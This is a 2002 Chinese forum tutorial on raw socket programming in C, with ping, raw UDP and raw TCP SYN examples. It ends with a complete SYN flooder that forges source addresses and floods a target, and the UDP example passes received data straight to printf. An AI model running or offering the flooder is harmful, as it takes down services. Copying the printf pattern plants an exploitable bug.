发信人: kevintz(元亨利贞) 
整理人: wenbobo(2002-06-11 19:09:53), 站内信件
 | 
 
 
                        Raw socket编程例解
 
     作者:Kevin Z. Tan(kevintz) [email protected]
     声明:本文仅作为技术探讨所用,对任何人使用本文里的程序所做的事,本人概不负责。本文
           版权遵循GPL version 2 !!! 
     
 
     前几天网友genjuro_lyb转贴了一篇关于raw socket编程的文章,觉得对TCP/IP的理解有较大
 用处,所以中译成《Raw socket C语言简明教程》。但这篇教程里的例子代码不完整,不利于网友
 结合实践进行学习raw socket编程。所以就写了4使用个例子,现在将代码贴出来,供大家交流学习。
     我在写这些代码的过程中,遇到不少问题,走了一些弯路,总结一下,为了不再重复花费大家的
 精力和时间:
     1、in_cksum()生成的结果不用转换成网络序。另外如果这个函数写得不正确的话,通常得不到
        对方的发回包,很难调试。
     2、数据转化成网络序的一个原则是:一般协议头部的short和int/long型的数据通常要转换成
        网络序。运载的数据部分,如果在对方要处理的,类型为short/int/long型数据的也要转换
        成网络序。如果对方不做处理,直接返回的数据部分,可以不转换成我网络序。
     3、raw tcp的程序为什么只写发SYN包:因为你发了SYN包,对方发回来SYN/ACK包,你的操作系统
        内核先于你的程序接收到这个包,它检查内核里的socket,发现没有一个socket对应于这个包
        (因为raw tcp socket没有保存ip和端口等信息,所以内核不能识别这个包),所以发了一个
        RST包给对方,于是对方的tcp socket关闭了。你的raw tcp socket最终收到这个SYN/ACK包,
        你的程序做了处理后,再发ACK包给对方时,对方的tcp socket已经关闭,所以对方就发了一个
        RST回来。要写一个SYN flooder就只能用raw raw socket,因为raw tcp不能自己控制IP头,所
        以不能写SYN flooder,除非用了IP_HDRINCL选项和自己构造IP头部。本人对其他人使用这些程
        序所做的事情不负任何责任,仅为技术交流而发布。
     4、关于各种协议头的检验和产生方法。
        IP:只包含IP头的检验和,不包括数据部分。
        ICMP:包括ICMP头和数据。
        TCP:包括一个伪协议头部和TCP头和数据。
        UDP:包括一个伪协议头部和UDP头和数据。
     5、raw socket发送数据和返回数据的形式:
        raw icmp socket(IPPROTO_ICMP):
             不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。
        raw udp socket(IPPROTO_UDP):
             不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。
        raw tcp socket(IPPROTO_TCP):
             不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。
        raw raw socket(IPPROTO_RAW):
             要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。
     6、参考资料:
        1、R. Stevens 《TCP/IP详解》卷一、二、三
        2、R. Stevens 《Unix网络编程》卷一
        3、Phrack杂志
     7、编译平台:Linux。FreeBSD应该可以通过。所有程序都要root权限运行。调试raw udp程序时,
        大家将/etc/inetd.conf里的echo upd服务打开就可以了,端口号是7。由于不想将篇幅变太大,
        in_cksum()函数源码只出现一次,加入其他的程序里就可以了。
        调试工具:tcpdump和netstat 
     8、大家可以改进的地方:
        1)加入主机名字查询,不用每次都打IP。加入服务查询,不用打端口,用服务的名字就可以了。
        2)你能想到的都可以写进去。
 
 /* simple ping program */ 
 #define __USE_BSD
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <netinet/ip.h>
 #include <netinet/ip_icmp.h>
 #define __FAVOR_BSD
 #include <unistd.h>
 #include <signal.h>
 #include <arpa/inet.h>
 #include <errno.h>
 #include <sys/time.h>
 #include <stdio.h>
 
 struct sockaddr_in saddr;
 int rawsock;
 
 unsigned short in_cksum(unsigned short *addr, int len)
 {
         int sum=0;
         unsigned short res=0;
         while( len > 1)  {
                 sum += *addr++;
                 len -=2;
         }
         if( len == 1) {
                 *((unsigned char *)(&res))=*((unsigned char *)addr);
                 sum += res;
         }
         sum = (sum >>16) + (sum & 0xffff);
         sum += (sum >>16) ;
         res = ~sum;
         return res;
 }
 
 
 void ping(int signo)
 {
         int len;
         int i;
         static unsigned short seq=0;
         char buff[8192];
         struct timeval tv;
         struct icmp *icmph=(struct icmp *)buff;
         long *data=(long *)icmph->icmp_data;
         bzero(buff, 8192);
         gettimeofday(&tv, NULL);
         icmph->icmp_type=ICMP_ECHO;
         icmph->icmp_code=0;
         icmph->icmp_cksum=0;
         icmph->icmp_id=0;
         icmph->icmp_seq=0;
         icmph->icmp_id=getpid()&0xffff;
         icmph->icmp_seq=seq++;
 
         data[0]= tv.tv_sec;
         data[1]= tv.tv_usec;
 
         for(i=8; i< 64; i++)
                 icmph->icmp_data[i]=(unsigned char )i;
 
         icmph->icmp_cksum=in_cksum((unsigned short *)buff, 72);
         len=sendto( rawsock, buff, 72, 0, &saddr, sizeof(saddr));
         alarm(1);
 }
 
 void sigint(int signo)
 {
         printf("CATCH SIGINT !!!\n");
         close(rawsock);
         exit(0);
 
 }
 
 void dumppkt(char *buf, int len)
 {
         struct ip *iph=(struct ip *)buf;
         int i=iph->ip_hl*4;
         struct icmp *icmph=(struct icmp *)&buf[i];
         long *data=( long*)icmph->icmp_data;
         struct timeval tv;
 
         gettimeofday(&tv, NULL);
         if( icmph->icmp_type != ICMP_ECHOREPLY )
                 return;
         if( icmph->icmp_id != (getpid()&0xffff) )
                 return;
         printf("From %s : ttl=%d seq=%d time=%.2f ms\n",
                 inet_ntoa(iph->ip_src), iph->ip_ttl ,
                 icmph->icmp_seq,
                 (tv.tv_sec-data[0])*1000.0+(tv.tv_usec-data[1])/1000.0);
 
 }
 
 
 int main(int argc, char *argv[])
 {
         int len;
         struct timeval now;
         char recvbuff[8192];
 
         if( argc != 2) {
                 printf("%s aaa.bbb.ccc.ddd\n", argv[0]);
                 exit(1);
         }
         rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
         if( rawsock < 0) {
                 perror("socket");
                 exit(1);
         }
         bzero( &saddr, sizeof(saddr));
         saddr.sin_family=AF_INET;
         if( inet_aton( argv[1], &saddr.sin_addr) < 0) {
                 printf("invalid IP address:%s\n", argv[1]);
                 exit(1);
         }
         signal(SIGALRM, ping);
         signal(SIGINT, sigint);
         alarm(1);
         while(1) {
                 len=read(rawsock, recvbuff, 8192);
                 if( len < 0 && errno == EINTR)
                         continue;
                 else if( len < 0)
                         perror("read");
                 else if( len > 0 )
                         dumppkt(recvbuff, len);
         }
         close(rawsock);
         exit(0);
 }
 
 /* simple ping end */
 
 /* simple raw udp program */
 
 #define __USE_BSD  /* 使用BSD风格的结构定义 */
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <netinet/ip.h>
 #define __FAVOR_BSD /* use bsd'ish tcp header */
 #include <netinet/udp.h>
 #include <unistd.h>
 #include <signal.h>
 #include <arpa/inet.h>
 #include <errno.h>
 
 struct pesudo_udphdr {
  unsigned int saddr, daddr;
  unsigned char unused;
  unsigned char protocol;
  unsigned short udplen;
 };
 
 struct sockaddr_in dst;
 struct sockaddr_in src;
 
 int rawsock;
 char buff[8192];
 
 void udpecho()
 {
         char sendbuf[8192];
         int len;
         struct pesudo_udphdr *pudph=(struct pesudo_udphdr*)sendbuf;
         struct udphdr *udph=(struct udphdr*)(sendbuf+sizeof(struct pesudo_udphdr
 ));
         char *data=(char *)(udph+1);
 
         strcpy(data, "hello,world\n");
         pudph->saddr=src.sin_addr.s_addr;
         pudph->daddr=dst.sin_addr.s_addr;
         pudph->unused=0;
         pudph->protocol=IPPROTO_UDP;
         pudph->udplen=htons(8+strlen(data)+1);
 
         udph->uh_sport=src.sin_port;  /* port num already net_byte_order */
         udph->uh_dport=dst.sin_port;
         udph->uh_ulen=pudph->udplen;
         udph->uh_sum=0;
 
         /* include pesudo header and udp header*/
         udph->uh_sum=in_cksum((unsigned short*)pudph, 12+8+strlen(data)+1);
         len=sendto(rawsock, udph, 8+strlen(data)+1, 0,
                 (struct sockaddr *)&dst, sizeof(dst));
         if( len < 0)
                 perror("sendto()  error");
         else
                 printf("sendto() send %d bytes\n", len);
 
 }
 
 
 void dump(char *buff, int len)
 {
         struct ip *iph=(struct ip *)buff;
         int i=iph->ip_hl*4;
         struct udphdr *udph=(struct udphdr *)&buff[i];
         char *data=(char *)(udph+1);
 
         printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
                 inet_ntoa(iph->ip_src),
                 ntohs(udph->uh_sport),
                 inet_ntoa(iph->ip_dst),
                 ntohs(udph->uh_dport),
                 len, i, ntohs(iph->ip_len)
         );
         printf(data);
 
 }
 
 void alarmsig(int a)
 {
         udpecho();
         alarm(1);
 }
 
 int main(int argc, char *argv[])
 {
         int len;
 
         if(argc != 5) {
                 printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
                 exit(1);
         }
         if( inet_aton(argv[1], &src.sin_addr) == 0) {
                 printf("bad localip:%s\n", argv[1]);
                 exit(1);
         }
         if( inet_aton(argv[3], &dst.sin_addr) == 0) {
                 printf("bad remoteip:%s\n", argv[3]);
                 exit(1);
         }
         src.sin_port=htons(atoi(argv[2]));
         dst.sin_port=htons(atoi(argv[4]));
         src.sin_family=AF_INET;
         dst.sin_family=AF_INET;
 
         rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
         if( rawsock < 0) {
                 perror("socket");
                 exit(1);
         }
         if( signal(SIGALRM, alarmsig) < 0) {
                 perror("signal");
                 exit(1);
         }
         alarm(1);
         while( (len=read(rawsock, buff, 8192)) > 0) {
                 dump(buff, len);
         }
         close(rawsock);
         exit(0);
 }
 /* raw udp end */
 
 /* raw tcp syn sender */
 #define __USE_BSD  /* 使用BSD风格的结构定义 */
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <netinet/ip.h>
 #define __FAVOR_BSD /* use bsd'ish tcp header */
 #include <netinet/tcp.h>
 #include <unistd.h>
 #include <arpa/inet.h>
 #include <errno.h>
 
 struct pesudo_tcphdr {
         unsigned int saddr, daddr;
         unsigned char unused;
         unsigned char protocol;
         unsigned short tcplen;
 };
 
 struct sockaddr_in dst;
 struct sockaddr_in src;
 
 int seq;
 int rawsock;
 char buff[8192];
 
 void syn()
 {
         char sendbuf[8192];
         int len;
         struct pesudo_tcphdr *ptcph=(struct pesudo_tcphdr*)sendbuf;
         struct tcphdr *tcph=(struct tcphdr*)(sendbuf+sizeof(struct pesudo_tcphdr
 ));
 
         ptcph->saddr=src.sin_addr.s_addr;
         ptcph->daddr=dst.sin_addr.s_addr;
         ptcph->unused=0;
         ptcph->protocol=IPPROTO_TCP;
         ptcph->tcplen=htons(20);  /* we just send header , no data */
 
         tcph->th_sport=src.sin_port;  /* port num already net_byte_order */
         tcph->th_dport=dst.sin_port;
         tcph->th_seq=htonl(123456);
         tcph->th_ack=0;
         tcph->th_x2=0;
         tcph->th_off=5;
         tcph->th_flags=TH_SYN;
         tcph->th_win=htons(65535);
         tcph->th_sum=0;
         tcph->th_urp=0;
 
         /* include pesudo header and tcp header*/
         tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12);
         len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst));
         if( len < 0)
                 perror("sendto() SYN error");
         else
                 printf("sendto() SYN send %d bytes\n", len);
 
 }
 void dump(char *buff, int len)
 {
         struct ip *iph=(struct ip *)buff;
         int i=iph->ip_hl*4;
         struct tcphdr *tcph=(struct tcphdr *)&buff[i];
 
         printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
                 inet_ntoa(iph->ip_src),
                 ntohs(tcph->th_sport),
                 inet_ntoa(iph->ip_dst),
                 ntohs(tcph->th_dport),
                 len, i, ntohs(iph->ip_len)
         );
         printf("seq: %u ack_seq:%u ",
                 ntohl(tcph->th_seq),
                 ntohl(tcph->th_ack)
         );
         if( tcph->th_flags & TH_SYN)
                 printf("SYN ");
         if( tcph->th_flags & TH_ACK)
                 printf("ACK ");
         if( tcph->th_flags & TH_FIN)
                 printf("FIN ");
         if( tcph->th_flags & TH_RST)
                 printf("RST ");
         if( tcph->th_flags & TH_URG)
                 printf("URG ");
         if( tcph->th_flags & TH_PUSH)
                 printf("PUSH ");
         printf("\n");
 
 }
 int main(int argc, char *argv[])
 {
         int len;
 
         if(argc != 5) {
                 printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
                 exit(1);
         }
         if( inet_aton(argv[1], &src.sin_addr) == 0) {
                 printf("bad localip:%s\n", argv[1]);
                 exit(1);
         }
         if( inet_aton(argv[3], &dst.sin_addr) == 0) {
                 printf("bad remoteip:%s\n", argv[3]);
                 exit(1);
         }
         src.sin_port=htons(atoi(argv[2]));
         dst.sin_port=htons(atoi(argv[4]));
         src.sin_family=AF_INET;
         dst.sin_family=AF_INET;
 
         rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
         if( rawsock < 0) {
                 perror("socket");
                 exit(1);
         }
         syn();
         len=read(rawsock, buff, 8192);
         if( len > 0) 
               dump(buff, len);
         else 
               printf("read return %d \n", len);
 
         close(rawsock);
         exit(0);
 }
 
 /* simple syn flooder !!! */
 #include <sys/types.h>
 #include <unistd.h>
 #include <errno.h>
 #include <signal.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <linux/ip.h>
 #include <linux/tcp.h>
 
 #include <stdio.h>
 #include <stdlib.h>
 
 
 unsigned short in_cksum(unsigned short *ptr,int nbytes);
 int synflooding();
 void sigint(int signo);
 struct sockaddr_in target;
 struct sockaddr_in pesudo;
 int rawsock;
 
 void sigint(int signo)
 {
         printf("catch SIGINT\n");
         close(rawsock);
         exit(0);
 }
 
 int main(int argc, char *argv[])
 {
         if( argc != 4) {
                 printf("usage:%s pesudoip attackip attackport\n", argv[0]);
                 exit(1);
         }
         if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {
                 printf("bad ip address:%s\n", argv[1]);
                 exit(1);
         }
         if( inet_aton(argv[2], &target.sin_addr) == 0) {
                 printf("bad ip address:%s\n", argv[2]);
                 exit(1);
         }
         target.sin_port=htons(atoi(argv[3]));
         signal(SIGINT, sigint);
         synflooding();
         exit(0);
 
 }
 
 int synflooding()
 {
         int i, j, k;
         struct packet{
         struct iphdr ip;
         struct tcphdr tcp;
         }packet;
 
         struct pseudo_header{           /* For TCP header checksum */
                 unsigned int source_address;
                 unsigned int dest_address;
                 unsigned char placeholder;
                 unsigned char protocol;
                 unsigned short tcp_length;
                 struct tcphdr tcp;
         }pseudo_header;
         bzero(&packet, sizeof(packet));
         bzero(&pseudo_header, sizeof(pseudo_header));
         if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
                 perror("socket()");
                 exit(1);
         }
         packet.tcp.dest=target.sin_port;        /* 16-bit Destination port */
         packet.tcp.ack_seq=0;           /* 32-bit Acknowledgement Number */
         packet.tcp.doff=5;              /* Data offset */
         packet.tcp.res1=0;              /* reserved */
         packet.tcp.res2=0;              /* reserved */
         packet.tcp.urg=0;               /* Urgent offset valid flag */
         packet.tcp.ack=0;               /* Acknowledgement field valid flag */
         packet.tcp.psh=0;               /* Push flag */
         packet.tcp.rst=0;               /* Reset flag */
         packet.tcp.syn=1;               /* Synchronize sequence numbers flag */
         packet.tcp.fin=0;               /* Finish sending flag */
         packet.tcp.window=htons(242); /* 16-bit Window size */
         packet.tcp.urg_ptr=0;           /* 16-bit urgent offset */
         packet.ip.version=4;            /* 4-bit Version */
         packet.ip.ihl=5;                /* 4-bit Header Length */
         packet.ip.tos=0;                /* 8-bit Type of service */
         packet.ip.tot_len=htons(40);    /* 16-bit Total length */
         packet.ip.id=getpid();          /* 16-bit ID field */
         packet.ip.frag_off=0;           /* 13-bit Fragment offset */
         packet.ip.ttl=255;              /* 8-bit Time To Live */
         packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
         packet.ip.check=0;      /* 16-bit Header checksum (filled in below) */
         packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */
         packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */
 
         packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
         while(1) {
                 /* set src port and ISN */
                 packet.tcp.source=htons(1025+rand()%60000);
                 packet.tcp.seq=761013+rand()%100000;
                 packet.tcp.check=0;
 
                 pseudo_header.source_address=packet.ip.saddr;
                 pseudo_header.dest_address=packet.ip.daddr;
                 pseudo_header.placeholder=0;
                 pseudo_header.protocol=IPPROTO_TCP;
                 pseudo_header.tcp_length=htons(20);
 
                 bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
                 packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
                 sendto(rawsock,&packet,40,0,
                         (struct sockaddr *)&target,sizeof(target));
         }
         return 0;
 
 }
 
 /* syn flooder end */
 
 
 
 
 
  ---- 天行健,君子以自强不息。
 地势坤,君子以厚德载物。
                  -----《周易》 | 
 
 
 |